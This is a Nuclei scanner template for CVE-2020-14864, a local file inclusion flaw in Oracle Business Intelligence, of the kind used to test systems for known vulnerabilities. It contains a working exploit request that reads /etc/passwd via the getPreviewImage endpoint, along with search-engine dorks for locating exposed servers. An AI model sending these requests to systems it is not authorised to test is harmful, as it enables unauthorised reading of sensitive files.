id: CVE-2020-14864

info:
  name: Oracle Fusion - Directory Traversal/Local File Inclusion
  author: Ivo Palazzolo (@palaziv)
  severity: high
  description: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0, 12.2.1.3.0, and 12.2.1.4.0 are vulnerable to local file inclusion vulnerabilities via "getPreviewImage."
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.
  remediation: |
    Apply the latest security patches and updates provided by Oracle to fix this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/159748/Oracle-Business-Intelligence-Enterprise-Edition-5.5.0.0.0-12.2.1.3.0-12.2.1.4.0-LFI.html
    - https://www.oracle.com/security-alerts/cpuoct2020.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14864
    - https://github.com/merlinepedra/nuclei-templates
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-14864
    cwe-id: CWE-22
    epss-score: 0.4541
    epss-percentile: 0.97318
    cpe: cpe:2.3:a:oracle:business_intelligence:5.5.0.0.0:*:*:*:enterprise:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: business_intelligence
    shodan-query: http.title:"oracle business intelligence sign in"
    fofa-query: title="oracle business intelligence sign in"
    google-query: intitle:"oracle business intelligence sign in"
  tags: cve,cve2020,oracle,lfi,kev,packetstorm

http:
  - method: GET
    path:
      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1'
      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100888d405f9b656407db7fb07798fac7ab26fe50ed8830bf56723f778328a20373022018854f60c656aff253668bff6ec1c829e89e98e4bc96e4417fb5aef5824701b5:922c64590222798bb761d5b6d8e72950